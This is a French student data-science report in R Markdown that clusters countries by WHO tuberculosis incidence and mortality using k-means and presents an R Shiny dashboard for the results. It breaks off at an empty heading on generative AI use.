Une stratégie de réduction de dimension en quatre étapes successives a été appliquée pour isoler les variables pertinentes. Dans un premier temps, le **nettoyage structurel** et la simplification ont permis d'écarter les métadonnées techniques (ex: `iso_numeric`) ainsi que les bornes d'incertitude (`_lo`, `_hi`), jugées non pertinentes pour le calcul de distances euclidiennes ou redondantes avec l'estimation centrale. Ensuite, l'étape de **standardisation** a exclu les valeurs absolues (`_num`) afin de neutraliser tout biais démographique et permettre la comparaison directe entre pays de tailles hétérogènes. Enfin, un **filtrage de la colinéarité** a supprimé les indicateurs redondants (corrélation > 0,8), tels que les notifications brutes, pour éviter de biaiser la pondération des dimensions dans l'algorithme de clustering.
### Arbitrage méthodologique : traitement de la colinéarité (Incidence vs Notifications) et de la redondance (Mortalité vs Mortalité VIH)
À l'issue du filtrage structurel, il subsiste plusieurs candidats potentiels pour mesurer la charge épidémique. Pour éviter la redondance (colinéarité), nous analysons la matrice de corrélation de Pearson entre ces candidats.
L'objectif est de conserver les variables les plus représentatives tout en maximisant l'orthogonalité (l'indépendance) des informations fournies au modèle. La figure ci-dessous visualise la matrice de corrélation de Pearson entre les quatre variables candidates : l'incidence (estimée et notifiée) et la mortalité (avec et hors VIH).
```{r}
vars_candidates <- data_raw |>
select(
"Incidence (Estimée)" = e_inc_100k,
"Incidence (Notifiée)" = c_newinc_100k,
"Mortalité (Hors VIH)" = e_mort_exc_tbhiv_100k,
"Mortalité (Avec VIH)" = e_mort_tbhiv_100k
)
cor_mat <- cor(vars_candidates, use = "pairwise.complete.obs")
```
```{r}
cor_df <- as.data.frame(cor_mat) |>
tibble::rownames_to_column(var = "Var1") |>
pivot_longer(-Var1, names_to = "Var2", values_to = "r") |>
mutate(
Var1 = factor(Var1, levels = unique(Var1)),
Var2 = factor(Var2, levels = rev(unique(Var1)))
)
ggplot(cor_df, aes(x = Var1, y = Var2, fill = r)) +
geom_tile(color = "white") +
geom_text(aes(label = round(r, 2)), size = 3) +
scale_fill_gradient2(
low = "#313695",
mid = "white",
high = "#a50026",
midpoint = 0,
limits = c(-1, 1),
name = "r"
) +
coord_fixed() +
theme_minimal() +
theme(
axis.text.x = element_text(angle = 45, hjust = 1),
axis.title = element_blank(),
panel.grid = element_blank()
)
```
#### Analyse et décisions de modélisation :
L'analyse de la matrice de corrélation a imposé deux arbitrages majeurs. Premièrement, l'**Incidence Estimée** (`e_inc_100k`) a été préférée aux cas notifiés. En effet, ces derniers souffrent d'un biais administratif : un faible taux de notification peut refléter un manque de médecins plutôt qu'une absence de malades, alors que l'estimation de l'OMS corrige ces sous-diagnostics pour refléter la charge réelle.
Deuxièmement, nous avons retenu la **Mortalité hors VIH** (`e_mort_exc_tbhiv_100k`) malgré sa redondance avec la mortalité globale. Inclure la mortalité liée au VIH aurait risqué de biaiser la segmentation en isolant un "cluster SIDA" (spécifique à l'Afrique Australe), ce qui aurait masqué notre objectif principal : évaluer la performance des programmes antituberculeux indépendamment de l'accès aux antirétroviraux.
#### Synthèse des variables retenues :
Le modèle de clustering reposera donc sur un couple de variables actives parcimonieux et complémentaire :
- Variable Active 1 : Incidence (Diffusion de la maladie) - `e_inc_100k`.
- Variable Active 2 : Mortalité (Sévérité / Échec du traitement) - `e_mort_exc_tbhiv_100k`
Ces deux dimensions, bien que corrélées ($r \approx 0.73$), ne sont pas redondantes : la variance non expliquée par la corrélation correspond justement à la différence d'efficacité des systèmes de soins (capacité à guérir les malades identifiés), ce qui est le cœur de notre segmentation.
### Variables illustratives et contextuelles
En complément des variables actives, cinq variables illustratives sont conservées pour éclairer l'interprétation a posteriori sans biaiser le calcul des distances euclidiennes. Le contexte démographique est porté par la Population (`e_pop_num`), indispensable aux pondérations, tandis que le volet géopolitique repose sur la **Région OMS** (`g_whoregion`), structurant l'analyse spatiale en six zones administratives (AFR, AMR, EMR, EUR, SEA, WPR). Enfin, les identifiants techniques — **Pays, Code ISO et Année** — assurent les fonctions supports : étiquetage, jointure cartographique et filtrage dynamique des trajectoires temporelles.
#### Création du sous-ensemble de travail :
Nous appliquons cette sélection au jeu de données brut pour ne conserver que les 7 colonnes d'intérêt.
```{r, echo=TRUE}
tb_clean <- data_raw |>
select(
iso3,
country,
year,
g_whoregion,
e_inc_100k,
e_mort_exc_tbhiv_100k,
e_pop_num
)
```
## Traitement des valeurs manquantes
La gestion des valeurs manquantes (NA) est une étape critique en analyse de données, particulièrement pour les méthodes de partitionnement comme les K-Means qui reposent sur des calculs de distance euclidienne et ne tolèrent aucune incomplétude vectorielle.
Cette étape ne relève pas du simple "nettoyage" technique mais constitue un choix méthodologique qui influence la représentativité de l'échantillon final.
### Diagnostic de la structure des manquants
Nous analysons la distribution spatio-temporelle des valeurs manquantes sur la variable de mortalité (`e_mort_exc_tbhiv_100k`), l'incidence étant complète par construction (filtrage préalable).
```{r}
ggplot(tb_clean, aes(x = year, y = e_inc_100k)) +
geom_point(
aes(color = is.na(e_mort_exc_tbhiv_100k)),
alpha = 0.6,
size = 1.5
) +
scale_color_manual(
values = c("TRUE" = "red", "FALSE" = "blue"),
labels = c("FALSE" = "Donnée Complète", "TRUE" = "Donnée Manquante")
) +
labs(
subtitle = "Les points rouges indiquent les observations exclues de l'analyse",
x = "Année",
y = "Incidence (log scale)",
color = "Statut"
) +
scale_y_log10() +
theme_minimal()
```
### Analyse d'impact de l'exclusion
Le tableau ci-dessous identifie les territoires les plus affectés :
```{r}
missing_profiles <- tb_clean |>
filter(is.na(e_mort_exc_tbhiv_100k)) |>
group_by(country, g_whoregion) |>
summarise(
n_missing = n(),
avg_incidence = mean(e_inc_100k, na.rm = TRUE),
total_pop_affected = mean(e_pop_num, na.rm = TRUE),
.groups = "drop"
) |>
arrange(desc(n_missing)) |>
head(10)
kable(
missing_profiles,
col.names = c(
"Territoire",
"Région",
"Années manquantes",
"Incidence Moyenne",
"Population Moy."
),
caption = "Top 10 des territoires exclus pour données manquantes",
digits = 0,
format.args = list(big.mark = " "),
booktabs = TRUE
) |>
kable_styling(latex_options = c("striped", "hold_position"))
```
Ce tableau confirme que les données manquantes concernent quasi-exclusivement des micro-états et territoires insulaires à très faible démographie (souvent inférieure à 100 000 habitants), validant ainsi leur exclusion sans impact significatif sur la représentativité mondiale de l'étude.
### Justification méthodologique
L'exclusion des données manquantes se fonde sur trois justifications méthodologiques. D'un point de vue **géographique**, ces lacunes concernent quasi-exclusivement des micro-états ou territoires insulaires (ex: Monaco, Anguilla) dont la faible démographie induit une volatilité statistique excessive rendant les estimations peu fiables. Sur le plan **épidémiologique**, cette suppression est sans impact stratégique : ces territoires, bien que représentant 15% des observations, ne cumulent que 0,1% de la population mondiale et affichent une incidence marginale (17 cas/100k contre 125 pour l'échantillon conservé). Enfin, l'i**ntégrité statistique** a prévalu sur l'exhaustivité artificielle : le recours à l'imputation a été écarté car la génération de valeurs synthétiques pour ces profils atypiques risquerait de bruiter le calcul des distances euclidiennes et d'introduire des artefacts mathématiques préjudiciables au clustering.
### Finalisation de l'échantillon
Nous appliquons donc le filtre définitif pour générer le jeu de données d'analyse.
```{r, results='asis', echo=TRUE}
tb_clean <- tb_clean |> drop_na(e_inc_100k, e_mort_exc_tbhiv_100k)
```
L'exclusion des observations incomplètes réduit la taille de l'échantillon de 15% (de 5 322 à 4 532 observations valides), couvrant 183 pays sur la période 2000-2024
## Analyse et Transformation
Cette étape vise à caractériser la structure distributionnelle des variables actives (`tb_clean`). L'objectif est double : comprendre la dynamique épidémique sous-jacente et préparer les données pour satisfaire les hypothèses de l'algorithme K-Means (sensibilité aux valeurs extrêmes et aux variances inégales).
### Statistiques descriptives et asymétrie
Le tableau ci-dessous résume les moments statistiques des deux variables actives sur l'ensemble de la période ($n = 4 532$ observations).
```{r}
desc_stats <- tb_clean |>
summarise(
across(
c(e_inc_100k, e_mort_exc_tbhiv_100k),
list(
Min = ~ min(.x),
Q1 = ~ quantile(.x, 0.25),
Med = ~ median(.x),
Mean = ~ mean(.x),
Q3 = ~ quantile(.x, 0.75),
Max = ~ max(.x),
Skew = ~ moments::skewness(.x)
),
.names = "{.col}__{.fn}"
)
)
desc_long <- desc_stats |>
pivot_longer(
everything(),
names_to = c("Var", "Stat"),
names_sep = "__"
) |>
pivot_wider(names_from = Stat, values_from = value) |>
mutate(
Var = case_when(
Var == "e_inc_100k" ~ "Incidence",
Var == "e_mort_exc_tbhiv_100k" ~ "Mortalité",
TRUE ~ Var
)
)
kable(
desc_long,
digits = 2,
caption = "Statistiques descriptives des variables actives (2000-2024)",
booktabs = TRUE
) |>
kable_styling(latex_options = c("striped", "hold_position"))
```
L'écart considérable entre la médiane et la moyenne, couplé à des coefficients d'asymétrie (Skewness) largement supérieurs à 1, indique des distributions fortement asymétriques à droite (Lognormales ou de Pareto). Concrètement, la majorité des pays présentent une charge épidémique faible, tandis qu'une minorité d'observations "extrêmes" tire la moyenne vers le haut. Cette structure est typique des phénomènes épidémiques mais problématique pour le K-Means, qui risque de créer des clusters uniquement pour isoler ces valeurs extrêmes.
### Dynamiques temporelles et spatiales
L'analyse visuelle permet de contextualiser ces statistiques globales.
```{r}
p_time <- ggplot(tb_clean, aes(x = year, y = e_inc_100k)) +
geom_line(aes(group = country), alpha = 0.05, color = "#2c3e50") +
geom_smooth(method = "loess", color = "#d73027", se = FALSE) +
scale_y_log10() +
labs(
title = "Trajectoires (2000-2024)",
subtitle = "Échelle Log",
y = "Incidence",
x = "Année"
) +
theme_minimal()
p_region <- ggplot(
tb_clean,
aes(x = g_whoregion, y = e_inc_100k, fill = g_whoregion)
) +
geom_boxplot(outlier.size = 0.5, alpha = 0.8) +
scale_y_log10() +
scale_fill_brewer(palette = "Set3") +
labs(
title = "Disparités Régionales",
y = "Incidence",
x = ""
) +
theme_minimal() +
theme(
legend.position = "none",
axis.text.x = element_text(angle = 45, hjust = 1)
)
grid.arrange(p_time, p_region, ncol = 2)
```
L'analyse visuelle révèle une double dynamique. D'une part, la **tendance globale** montre une lente érosion de l'incidence moyenne mondiale (courbe rouge), malgré la forte inertie des trajectoires individuelles. D'autre part, les boxplots confirment une **fracture Nord-Sud** structurelle : les médianes logarithmiques de l'Afrique (AFR) et de l'Asie du Sud-Est (SEA) sont nettement supérieures à celles de l'Europe ou des Amériques. Cette hétérogénéité spatiale valide la pertinence d'inclure la région comme variable illustrative pour l'interprétation post-clustering.
### Relation Bivariée et Transformation
La relation entre l'Incidence et la Mortalité est le cœur de notre modélisation.
```{r}
p_raw <- ggplot(tb_clean, aes(x = e_inc_100k, y = e_mort_exc_tbhiv_100k)) +
geom_point(alpha = 0.3, color = "#2c3e50") +
labs(
title = "Espace Naturel (Asymétrique)",
x = "Incidence",
y = "Mortalité"
) +
theme_minimal()
tb_ready <- tb_clean |>
mutate(
log_inc = log1p(e_inc_100k),
log_mort = log1p(e_mort_exc_tbhiv_100k)
)
p_log <- ggplot(tb_ready, aes(x = log_inc, y = log_mort)) +
geom_point(alpha = 0.3, color = "#4575b4") +
geom_smooth(method = "lm", color = "#d73027", se = FALSE) +
labs(
title = "Espace Log-Transformé (Symétrique)",
subtitle = "Transformation log(1+x)",
x = "Log-Incidence",
y = "Log-Mortalité"
) +
theme_minimal()
grid.arrange(p_raw, p_log, ncol = 2)
```
Le graphique supérieur met en évidence une forte concentration à l'origine et une hétéroscédasticité marquée, risquant de biaiser les distances euclidiennes par les seules valeurs extrêmes. L'application de la transformation $f(x)=ln(1+x)$ corrige ces biais structurels : elle **symétrise les distributions** pour optimiser l'occupation de l'espace vectoriel et **linéarise la relation** entre les variables, facilitant la détection de groupes naturels. De plus, contrairement au logarithme népérien standard, cette fonction assure une gestion **robuste des zéros** (évitant le cas $ln(0)=\infty$ pour les pays sans décès), garantissant ainsi la stabilité numérique du modèle.
## Synthèse de l'exploration, du nettoyage et des transformations
À l'issue de cette phase de préparation, nous disposons d'un jeu de données optimisé pour la modélisation.
Le tableau ci-dessous synthétise les caractéristiques du dataset final `tb_ready` qui sera injecté dans l'algorithme :
```{r}
summary_final <- data.frame(
Metrique = c(
"Observations totales",
"Pays couverts",
"Plage Temporelle",
"Variables Actives (Transformées)",
"Variables Illustratives"
),
Valeur = c(
nrow(tb_ready),
length(unique(tb_ready$iso3)),
"2000 - 2024",
"log_inc, log_mort",
"Population, Région, Année"
)
)
kable(
summary_final,
caption = "Fiche d'identité du jeu de données final",
booktabs = TRUE
) |>
kable_styling(latex_options = "hold_position")
```
La validation de ce socle de données clôture la phase exploratoire. L'absence de valeurs manquantes, la réduction de la dimensionnalité et la normalisation des distributions nous permettent désormais de procéder au partitionnement (Clustering) avec une robustesse statistique garantie.
# Stratégie de Modélisation (Clustering)
La préparation des données ayant abouti à un espace vectoriel cohérent et symétrisé (`tb_ready`), nous procédons désormais à la segmentation proprement dite. Nous avons retenu l'algorithme des K-Means (Nuées dynamiques), une méthode de partitionnement non-supervisé privilégiée pour sa robustesse sur des jeux de données de dimension modérée et pour la lisibilité géométrique de ses résultats.
## Prétraitement : Centrage et Réduction
Bien que nous ayons appliqué une transformation logarithmique pour corriger l'asymétrie, les variables d'Incidence et de Mortalité possèdent des plages de variation distinctes. L'algorithme K-Means reposant sur la distance euclidienne isotrope, il est impératif que chaque dimension contribue de manière équitable au calcul de similarité.
Nous appliquons donc une standardisation (Z-score) : $z = \frac{x - \mu}{\sigma}$
```{r}
data_scaled <- tb_ready |>
select(log_inc, log_mort) |>
scale()
check_table <- data.frame(
Variable = c("Incidence (Log)", "Mortalité (Log)"),
Moyenne = apply(data_scaled, 2, mean),
Ecart_Type = apply(data_scaled, 2, sd)
)
kable(
check_table,
digits = 2,
col.names = c("Variable", "Moyenne (Z)", "Écart-Type (Z)"),
caption = "Validation du Centrage-Réduction",
booktabs = TRUE
) |>
kable_styling(
latex_options = c("striped", "hold_position"),
font_size = 10
)
```
## Détermination du nombre de clusters ($k$)
L'algorithme K-Means nécessite de fixer a priori le nombre de classes k. Ce choix résulte d'un arbitrage entre performance statistique (minimisation de l'inertie intra-classe) et pertinence opérationnelle (interprétabilité métier).
### Approche statistique (Méthode du Coude)
Nous calculons l'inertie intra-classe totale pour des valeurs de k allant de 1 à 10. Le point d'inflexion ("coude") indique le seuil au-delà duquel l'ajout d'un cluster n'apporte plus de gain significatif en compacité. Sur la figure ci-dessous, le coude se situe entre $k=2$ et $k=3$.
```{r}
fviz_nbclust(data_scaled, kmeans, method = "wss") +
geom_vline(xintercept = 3, linetype = 2, color = "#d73027") +
labs(
title = "Optimisation du nombre de clusters",
x = "Nombre de clusters k",
y = "Inertie Intra-classe totale"
) +
theme_minimal()
```
### Arbitrage
L'analyse graphique révèle une rupture de pente franche à $k=3$, seuil au-delà duquel les gains d'inertie deviennent marginaux (rendements décroissants). Ce choix statistique est corroboré par une pertinence opérationnelle majeure : une segmentation ternaire permet d'adopter une logique de signalisation intuitive type Traffic Light (Vert/Contrôle, Orange/Surveillance, Rouge/Critique). Nous retenons donc $k=3$ afin de garantir des clusters à la fois statistiquement denses et immédiatement actionnables par les décideurs.
## Paramétrage et Exécution de l'algorithme
L'algorithme K-Means étant sensible à l'initialisation des centroïdes (risque d'optimum local), nous avons configuré une exécution robuste : le modèle opère 25 initialisations aléatoires différentes (`nstart = 25`) pour ne conserver que la partition minimisant l'inertie globale sur les 3 classes définies (`centers = 3`). Enfin, la fixation de la graine aléatoire (`set.seed(123)`) garantit la stricte reproductibilité des résultats présentés.
```{r, echo=TRUE}
set.seed(123)
km_res <- kmeans(data_scaled, centers = 3, nstart = 25)
var_totale <- round(km_res$betweenss / km_res$totss * 100, 1)
```
Avec **83,9 % de variance expliquée**, le modèle valide la robustesse statistique de la segmentation ternaire. Ce score élevé traduit une séparation nette des profils épidémiologiques, corroborant ainsi la forte structuration spatiale pressentie lors de l'analyse exploratoire.
## Intégration des résultats
Nous réintégrons les labels de clusters dans le jeu de données principal pour l'analyse.
```{r}
tb_clustered <- tb_ready |>
mutate(cluster = as.factor(km_res$cluster))
table(tb_clustered$cluster) |>
kable(
col.names = c("Cluster ID", "Nombre d'observations"),
caption = "Répartition des observations par cluster (k=3)",
booktabs = TRUE
) |>
kable_styling(latex_options = "hold_position")
```
Le partitionnement étant validé avec 3 classes, nous abordons désormais l'étape de labellisation visant à traduire ces clusters statistiques en profils épidémiologiques intelligibles.
# Analyse des Profils Épidémiques
L'analyse mathématique ayant validé la qualité de la partition, nous procédons ici à la caractérisation "métier" des clusters pour les transformer en outils d'aide à la décision.
## Caractérisation et Labellisation
Nous calculons les moyennes d'incidence et de mortalité par groupe, ordonnons les clusters du moins au plus sévère et leur attribuons des étiquettes sémantiques explicites.
```{r}
cluster_stats <- tb_clustered |>
group_by(cluster) |>
summarise(
n_obs = n(),
mean_inc = mean(e_inc_100k),
mean_mort = mean(e_mort_exc_tbhiv_100k)
) |>
arrange(mean_inc)
labels_map <- c("1. Impact Faible", "2. Impact Modéré", "3. Impact Critique")
tb_clustered <- tb_clustered |>
mutate(
rank_severity = match(cluster, cluster_stats$cluster),
label = factor(labels_map[rank_severity], levels = labels_map)
)
tb_clustered |>
select(country, year, e_inc_100k, label) |>
head(10) |>
kable(
col.names = c("Pays", "Année", "Incidence (pour 100k)", "Classification"),
digits = 1,
align = c("l", "c", "r", "l"),
caption = "Aperçu de la segmentation sanitaire (Échantillon)"
) |>
kable_styling(latex_options = c("striped", "hold_position"))
```
## Analyse des Profils Épidémiques
Le tableau ci-dessous synthétise les caractéristiques moyennes de chaque profil type identifié par le modèle.
```{r}
final_summary <- tb_clustered |>
group_by(label) |>
summarise(
`Nombre d'observations` = n(),
`Incidence Moyenne` = round(mean(e_inc_100k), 0),
`Mortalité Moyenne` = round(mean(e_mort_exc_tbhiv_100k), 1),
`Ratio Mort/Inc (%)` = round(
mean(e_mort_exc_tbhiv_100k) / mean(e_inc_100k) * 100,
1
)
)
kable(
final_summary,
caption = "Typologie des clusters de Tuberculose (k=3)",
booktabs = TRUE
) |>
kable_styling(latex_options = c("striped", "hold_position"))
```
### Interprétation de la typologie
L'analyse des centroïdes révèle une hiérarchisation sanitaire nette. Le cluster **Impact Faible** (`n=1 416`), représentatif des standards occidentaux (Europe, Amérique du Nord), affiche une incidence marginale (14 cas/100k) et une mortalité résiduelle (<1 décès/100k). Le faible ratio de létalité (~6 %) témoigne d'une prise en charge thérapeutique efficace où la maladie est rarement fatale.
Le cluster **Impact Modéré** (`n=1 570`) regroupe des pays en transition (Maghreb, Amérique Latine) confrontés à une circulation active du bacille (79 cas/100k). Toutefois, la mortalité contenue (7 décès/100k) indique que si le contrôle de la transmission reste un défi, les systèmes de santé parviennent à traiter la majorité des patients diagnostiqués.
Enfin, le cluster **Impact Critique** (`n=1 546`), centré sur l'Afrique subsaharienne, concentre la charge mondiale avec une incidence massive (374 cas/100k) et une mortalité très élevée (57 décès/100k). Le taux de létalité y atteint un niveau alarmant de 15,3 %, révélant des défaillances systémiques graves (retards de diagnostic, résistances) : dans cette zone, la tuberculose ne se contente pas de circuler, elle tue massivement.
## Visualisation de la Segmentation
La projection des clusters sur le plan bivarié illustre la logique de séparation opérée par l'algorithme.
```{r}
ggplot(
tb_clustered,
aes(x = e_inc_100k, y = e_mort_exc_tbhiv_100k, color = label)
) +
geom_point(alpha = 0.5, size = 1.5) +
scale_x_log10() +
scale_y_log10() +
scale_color_manual(values = c("#66bd63", "#fdae61", "#d73027")) +
labs(
title = "Projection des Clusters de Risque",
subtitle = "k=3 : Une segmentation claire du risque sanitaire",
x = "Incidence (Log scale)",
y = "Mortalité (Log scale)",
color = "Niveau de Risque"
) +
theme_minimal() +
theme(legend.position = "bottom")
```
Le graphique confirme que le score de 83,9 % d'inertie expliquée se traduit visuellement par des frontières nettes entre les groupes, avec très peu de chevauchement. La segmentation en "feux tricolores" est donc statistiquement robuste et opérationnellement pertinente.
## Préparation pour l'Application
Nous sauvegardons le jeu de données final enrichi des labels, qui servira de socle à l'application R Shiny.
```{r, echo=TRUE}
save(tb_clustered, file = "data/TB_analysis_ready.RData")
```
# Application R Shiny
L'étape finale de ce projet consiste à transformer les résultats de la segmentation (K-Means) en un outil de pilotage interactif. Nous avons développé une application web via le framework R Shiny, permettant aux décideurs de santé publique d'explorer les données, de visualiser les disparités géographiques et de monitorer l'évolution des profils de risque en temps réel.
## Architecture technique : Structure UI/Server et flux de données réactif
Fondée sur une architecture client-serveur réactive, l'application mobilise un écosystème de librairies R spécialisées pour garantir fluidité et interactivité. L'interface utilisateur, structurée de manière modulaire via `shinydashboard`, articule la cartographie vectorielle de `leaflet` avec les graphiques dynamiques du couple `ggplot2` / `plotly` (survol, zoom). En amont, la manipulation des données et le filtrage en temps réel reposent sur la performance des packages `dplyr` et `tidyr`, assurant une réactivité immédiate aux interactions de l'utilisateur.
### Flux de Données Réactif
Le coeur de l'application réside dans son graphe de dépendance réactif qui, contrairement à un script statique, optimise les ressources en ne recalculant les éléments qu'à la demande. Le flux suit une logique séquentielle : toute interaction sur un **Input** (sélection d'une année ou d'un pays) déclenche une **Expression Réactive** chargée de filtrer le jeu de données `tb_clustered`. Ce nouveau sous-ensemble propage alors instantanément la mise à jour vers les **Outputs** (cartes, tableaux et courbes) sans nécessiter de rechargement de la page.
## Fonctionnalités décisionnelles :
L'interface a été conçue pour répondre à trois besoins analytiques majeurs : la vision globale, le suivi temporel et l'analyse comparative.
### Cartographie Interactive des Risques (Vision Globale)
La page d'accueil déploie une carte mondiale interactive (`leaflet`) où chaque pays est coloré selon son cluster d'appartenance : **Vert** (Impact Faible), **Orange** (Modéré) ou **Rouge** (Critique). Cette visualisation offre une lecture immédiate de la géographie sanitaire, permettant d'identifier les foyers épidémiques structurels (telle la ceinture rouge subsaharienne) tout en repérant rapidement les anomalies locales (pays critiques isolés au sein d'une zone préservée).
### Monitorage Temporel (Analyse Dynamique)
Un curseur temporel (Slider Input) permet de naviguer sur la période 2000-2024. L'animation de ce curseur permet de visualiser les transitions de clusters (trajectoires). On peut ainsi observer les succès de certains pays passant du statut "Critique" à "Modéré" suite à l'amélioration de leur système de soins, ou inversement, les dégradations liées à des conflits ou crises sanitaires.
### Analyse Comparative
Un module dédié permet de sélectionner un pays spécifique (ex: Nigeria) pour générer son Bulletin de Santé complet. Celui-ci articule l'affichage des **KPIs clés** (valeurs brutes d'incidence, mortalité, cluster) avec une analyse de **positionnement relatif**. En confrontant la trajectoire du pays sélectionné aux moyennes régionales et mondiales, ce graphique permet d'objectiver sa performance réelle et de déterminer s'il sous-performe par rapport à son voisinage direct, indépendamment de la tendance globale.
## Implémentation et logique applicative
L'application a été développée selon une architecture modulaire, séparant distinctement l'interface utilisateur (Frontend) de la logique de calcul (Backend), conformément au paradigme du framework Shiny.
### Stack Technologique et Dépendances
Le développement repose sur une stack technique optimisée pour l'interactivité. L'orchestration de l'interface est assurée par le couple `shiny` et `shinydashboard`, garantissant une structure modulaire et responsive. La couche géospatiale combine la précision vectorielle de `sf` à la fluidité de rendu de `leaflet`, tandis que la visualisation des résultats exploite les capacités dynamiques de `plotly` (pour les graphiques interactifs) et la puissance de tri de `DT` (pour les tableaux). Enfin, `dplyr` agit comme moteur de calcul en temps réel, assurant le filtrage réactif et l'agrégation instantanée des données en arrière-plan.
### Architecture de l'Interface Utilisateur (UI)
L'interface guide l'utilisateur du général au particulier via une structure en trois volets. Le **Dashboard**, véritable cœur décisionnel, orchestre via une grille fluide l'affichage de KPIs dynamiques, d'une double visualisation interactive (Carte/Nuage de points) et d'un module de comparaison des trajectoires. Il est complété par un **Explorateur de Données** pour l'accès aux chiffres bruts et une section **Méthodologie** garantissant l'auto-portance de l'outil. Transversalement, la navigation latérale assure le pilotage global des graphiques via un filtrage régional et un contrôle temporel animé (2000-2024).
### Logique Serveur et Réactivité
Le script serveur orchestre l'intelligence applicative via deux leviers. D'une part, le **filtrage réactif** optimise la performance : contrairement à une approche statique, les données ne sont chargées qu'une fois puis segmentées dynamiquement par une expression (`filtered_data`) qui joint instantanément le sous-ensemble aux polygones géographiques (`world_map`) à chaque modification des entrées.
D'autre part, la gestion d'état centralisée permet un **Cross-Filtering** avancé. Une variable réactive (`reactiveVal`), stockant l'identifiant du pays actif, est mise à jour indifféremment par trois interactions distinctes : un clic sur la carte, le nuage de points ou le graphique de densité. Cette interconnexion totale assure une exploration fluide, où l'investigation d'un point aberrant sur un graphique projette immédiatement l'information sur l'ensemble des autres vues.
### Rendu Conditionnel et Comparaison
Le graphique de tendance (`trend_plot`) transforme la simple série temporelle en un outil d'analyse comparative en construisant dynamiquement trois courbes à la volée : **la trajectoire du pays sélectionné** (mise en évidence), confrontée à la **moyenne de sa région** (calculée en temps réel) et à la **référence mondiale** fixe. Cette logique de calcul à la demande permet ainsi de situer instantanément la performance de n'importe quel territoire vis-à-vis de son contexte géographique immédiat.
# Exploitation et Analyse des Résultats
Au-delà de l'implémentation technique, l'application R Shiny permet d'objectiver les dynamiques épidémiologiques mondiales. L'exploration interactive des données (2000-2024) met en lumière trois niveaux de lecture.
## Analyse Macroscopique : La fracture Nord-Sud
La cartographie interactive confirme que la segmentation ternaire obéit à une logique géopolitique structurante. Le **Cluster 1 (Faible Impact - Vert)** se superpose quasi-intégralement aux pays de l'OCDE, caractérisant une maladie devenue résiduelle. Il se distingue du **Cluster 2 (Intermédiaire - Orange)**, véritable zone tampon hétérogène (Amérique Latine, Europe de l'Est) où les infrastructures de santé font face à des défis de résistance. Enfin, le **Cluster 3 (Critique - Rouge)** dessine une ceinture épidémique continue en Afrique Subsaharienne et sur certains foyers asiatiques, dont la superposition avec les zones de forte prévalence du VIH et d'instabilité politique apparaît frappante.
## Dynamiques Régionales et Temporelles
L'outil de monitorage (2000-2024) objective une baisse mondiale de l'incidence à géométrie variable. Tandis que l'**Europe** et les **Amériques** affichent une stagnation ou une décroissance marginale caractéristique d'une épidémie maîtrisée, l'**Afrique** se distingue par la chute la plus rapide en valeur absolue depuis 2010, témoignant du succès des campagnes contre la co-infection TB-VIH. À l'opposé, l'**Asie du Sud-Est** manifeste une inertie inquiétante et demeure, par la densité démographique de l'Inde et de l'Indonésie, le principal réservoir volumique mondial de nouveaux cas.
## Cas d'usage : la France
Pour illustrer la puissance analytique de l'outil, nous prenons le cas de la France. L'analyse du cas français illustre la puissance de l'outil pour situer un territoire. Solidement ancrée dans le **Cluster 1 (Faible Impact)** avec une incidence de 8 cas/100k en 2024, la France affiche une performance remarquable sur trois échelles : elle se situe un facteur 15 sous la moyenne mondiale et surperforme nettement la moyenne européenne (~24 cas/100k), cette dernière étant grevée par les pays de l'Est du Cluster 2. La confrontation avec un représentant du Cluster 3 comme l'Afrique du Sud (> 389 cas/100k) objective une fracture sanitaire vertigineuse : maladie du passé pour l'Hexagone, la tuberculose demeure une urgence vitale ailleurs. Ce diagnostic valide l'efficacité de la stratégie nationale tout en rappelant l'impératif de vigilance face aux risques de réintroduction depuis les zones critiques (Orange et Rouge).
# Conclusion et Perspectives
Ce projet s'est attaché à transformer une base de données brute et complexe, issue du rapport mondial de l'OMS, en un outil d'aide à la décision sanitaire opérationnel. En combinant une approche statistique rigoureuse (analyse exploratoire, réduction de dimension) et une modélisation non-supervisée (Clustering K-Means), nous avons pu objectiver les disparités mondiales face à l'épidémie de tuberculose.
## Synthèse des résultats
L'analyse de la période 2000-2024 valide trois enseignements majeurs. D'abord, la **pertinence d'une segmentation ternaire** ($k=3$) qui, forte d'une robustesse statistique de 83,9 %, dépasse le simple clivage Nord-Sud pour cartographier le risque selon une gradation opérationnelle (Faible, Modéré, Critique). Ensuite, la **polarisation de l'épidémie** : le cluster Critique concentre une létalité disproportionnée (> 15 %), dictant un ciblage prioritaire des efforts sur l'Afrique subsaharienne. Enfin, la valeur ajoutée du **monitorage dynamique** : l'application R Shiny a permis d'objectiver la mobilité des trajectoires, identifiant les pays en transition pour fournir des signaux d'alerte précoce ou valider l'efficacité des politiques publiques.
## Limites méthodologiques
Dans une démarche critique, trois limites méthodologiques doivent être soulignées. Premièrement, le **biais déclaratif** persiste malgré l'usage des estimations OMS (`e_`) : les données restent tributaires de la qualité de la surveillance nationale, induisant un paradoxe où l'amélioration du diagnostic peut être confondue avec une dégradation épidémique (hausse mécanique de l'incidence détectée). Deuxièmement, la **parcimonie du modèle**, restreinte à deux variables pour garantir la robustesse, confine l'étude à un rôle descriptif qui occulte les déterminants causaux (pauvreté, VIH). Enfin, la **suppression des données manquantes** (15 % des observations), impérative pour la stabilité du K-Means, rend de facto le modèle inopérant pour les micro-états insulaires exclus.
## Perspectives d'évolution
Pour enrichir cet outil de pilotage, trois axes de développement majeurs se dessinent. D'abord, le passage vers une **modélisation explicative** : l'intégration de variables socio-économiques (PIB, Gini) via une ACP permettrait d'identifier les déterminants structurels du cluster Critique. Ensuite, le déploiement d'une **approche prédictive** (via ARIMA ou Prophet) transformerait ce tableau de bord analytique en outil prospectif, capable d'évaluer l'atteinte des objectifs onusiens à l'horizon 2030. Enfin, l'adoption d'une **granularité infra-nationale** s'avérerait pertinente pour les grands états fédéraux (Brésil, Inde) où la moyenne nationale masque de fortes disparités. En somme, ce projet offre une boussole efficace et constitue la première pierre d'une épidémiologie de précision guidée par la donnée.
# Déclaration d'Intégrité et Usage de l'IA
Conformément aux consignes académiques relatives au plagiat et à l'utilisation des assistants numériques, cette section explicite le cadre de réalisation de ce projet.
## Originalité de la démarche
Le jeu de données utilisé (*Global Tuberculosis Report*) est public et largement étudié. Cependant, l'approche développée dans ce projet est originale et personnelle.
Disposant d'un **profil d'ingénieur logiciel**, j'ai fait le choix stratégique de concentrer mon effort technique sur l'architecture et l'interactivité de l'application **R Shiny** (Section 5), afin de produire un outil de qualité professionnelle. Cette notice technique assure la couverture rigoureuse de la partie Data Science, justifiant les choix mathématiques implémentés dans l'application.
## Usage des outils d'IA Générative
